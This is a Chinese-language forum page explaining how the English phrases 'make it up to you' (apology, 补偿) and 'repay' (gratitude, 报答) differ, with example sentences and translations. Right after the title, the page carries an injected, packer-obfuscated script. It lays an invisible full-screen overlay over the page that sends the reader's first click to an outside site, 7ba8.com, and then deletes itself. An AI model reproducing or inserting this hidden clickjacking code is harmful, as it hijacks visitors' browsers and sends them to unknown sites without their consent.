地道英语:“报答”不等于“补偿”

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>【make it up】
  Sentence: I’m sorry I have to cancel our date! How can I make it up to you?
  抱歉我必须取消我们的约会!我怎么才能补偿你呢?
  "make it up to you" 意思是“补偿”。它可以被用于以下情况:
  1. When someone invites you to do something or asks you to help with something and you don’t have the time。
  1. 当有人邀请你一起做什么事儿,或是请求你的帮助,但你没有时间这么做;
  2. If you already have plans with someone but you have to change them at the last minute。
  2. 当你本来都和其他人计划好了,却在最后临时改变主意;
  3. when you accidentally offend someone and want to express more than “sorry”。
  3. 当你不小心冒犯了其他人,想要表达深深的歉意。
  要特别注意的是:make it up to you 这个短语一定是用来道歉的!它严格地被用在当你做了什么不好的事儿,或是带给别人不方便的时候。当你说“how can I make it up to you?” 这是在表达比“sorry”还要多的歉意。它的潜台词是“我很抱歉做了不好的事儿,我想补偿、让事情变得好起来”。
  【repay】
  Sentence: Thanks for offering so much help. How can I repay you?
  谢谢你给我那么多的帮助。我怎么才能报答你啊?
  repay 的准确翻译是“报答”,它应该被用在别人帮了你,你想回报点儿什么的情况下:When want to do something nice in return for the kindness a person has shown you。
  所以大家可以看出make it up to you和repay之间有严格的区别,适用的场合也完全不同,下次你自己用的时候可不要再犯错啦!
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部